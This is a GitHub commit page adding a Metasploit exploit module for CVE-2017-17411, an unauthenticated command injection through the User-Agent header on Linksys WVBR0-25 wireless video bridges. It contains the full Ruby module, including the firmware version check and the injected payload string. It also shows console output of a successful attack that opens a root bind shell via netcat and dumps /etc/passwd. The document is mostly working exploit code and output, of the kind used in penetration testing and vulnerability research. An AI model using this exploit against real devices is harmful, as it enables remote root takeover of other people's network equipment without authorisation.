Adds exploit module for CVE-2017-17411

This module is for exploiting vulnerable Linksys WVBR0-25 wireless video bridges using CVE-2017-17411. The vuln in question involves a command injection due to improper sanitization of the User-Agent header. The module makes an initial GET request to the root of the web server and checks the result for a vulnerable firmware version. If vulnerable, it makes a subsequent GET request with the User-Agent set to `";<payload> #`. This can be verified against WVBR0-25 devices running firmware < 1.0.41.

Example console output:

```
msf > use exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth 
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > info

       Name: Linksys WVBR0-25 User-Agent Command Execution
     Module: exploit/linux/http/linksys_wvbr0_user_agent_exec_noauth
   Platform: Unix
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-12-13

Provided by:
  HeadlessZeke

Available targets:
  Id  Name
  --  ----
  0   Automatic

Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  Proxies                   no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOST                     yes       The target address
  RPORT    80               yes       The target port
  SSL      false            no        Negotiate SSL/TLS for outgoing connections
  VHOST                     no        HTTP server virtual host

Payload information:
  Space: 1024

Description:
  The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to 
  connect wireless Genie cable boxes to the Genie DVR, is vulnerable 
  to OS command injection in version < 1.0.41 of the web management 
  portal via the User-Agent header. Authentication is not required to 
  exploit this vulnerability.

References:
  http://cvedetails.com/cve/2017-17411/
  http://www.zerodayinitiative.com/advisories/ZDI-17-973
  https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair

msf exploit(linksys_wvbr0_user_agent_exec_noauth) > show payloads 

Compatible Payloads
===================

   Name                     Disclosure Date  Rank    Description
   ----                     ---------------  ----    -----------
   cmd/unix/bind_netcat                      normal  Unix Command Shell, Bind TCP (via netcat)
   cmd/unix/generic                          normal  Unix Command, Generic Command Execution
   cmd/unix/reverse_netcat                   normal  Unix Command Shell, Reverse TCP (via netcat)

msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/bind_netcat 
payload => cmd/unix/bind_netcat
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set RHOST 10.0.0.104
RHOST => 10.0.0.104
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit

[*] 10.0.0.104:80 - Trying to access the device ...
[*] Started bind handler
[*] 10.0.0.104:80 - Exploiting...
[*] Command shell session 1 opened (10.0.0.109:40541 -> 10.0.0.104:4444) at 2017-12-21 17:09:54 -0600
id

uid=0(root) gid=0(root)
^C
Abort session 1? [y/N]  y

[*] 10.0.0.104 - Command shell session 1 closed.  Reason: User exit
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set payload cmd/unix/generic 
payload => cmd/unix/generic
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > set cmd cat /etc/passwd
cmd => cat /etc/passwd
msf exploit(linksys_wvbr0_user_agent_exec_noauth) > exploit

[*] 10.0.0.104:80 - Trying to access the device ...
[*] 10.0.0.104:80 - Exploiting...
[+] 10.0.0.104:80 - Command sent successfully
[*] 10.0.0.104:80 - Command output:  root0:0::/:/bin/sh nobody99:99:Nobody:/:/bin/nologin sshd22:22::/var/empty:/sbin/nologin admin1000:1000:Admin User:/tmp/home/admin:/bin/sh quagga1001:1001:Quagga
[*] Exploit completed, but no session was created.
msf exploit(linksys_wvbr0_user_agent_exec_noauth) >
```
MS-2855/keylogger-mettle-extension
headlesszeke 2017-12-21 17:44:35 -06:00 committed by GitHub
parent 1975713a92
commit 2ee42e1433
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 123 additions and 0 deletions

View File

@ -0,0 +1,123 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Linksys WVBR0-25 User-Agent Command Execution',
'Description' => %q{
The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie
cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41
of the web management portal via the User-Agent header. Authentication is not required to
exploit this vulnerability.
},
'Author' =>
[
'HeadlessZeke' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2017-17411'],
['ZDI', '17-973'],
['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair']
],
'DisclosureDate' => 'Dec 13 2017',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0
))
end
def check
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/'
})
if res && res.code == 200 && res.body.to_s =~ /Firmware Version: (1\.0\.(40|[1-3][0-9]|[0-9])\.|0\.)/ # version < 1.0.41
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end
puts res.body.to_s
Exploit::CheckCode::Safe
end
def exploit
print_status("#{peer} - Trying to access the device ...")
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
end
print_status("#{peer} - Exploiting...")
if datastore['PAYLOAD'] == 'cmd/unix/generic'
exploit_cmd
else
exploit_session
end
end
def exploit_cmd
beg_boundary = rand_text_alpha(8)
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/',
'headers' => {
'User-Agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #"
}
})
if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line
print_status("#{peer} - Command output: #{$1}")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
def exploit_session
begin
send_request_raw({
'method' => 'GET',
'uri' => '/',
'headers' => {
'User-Agent' => "\"; #{payload.encoded} #"
}
})
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end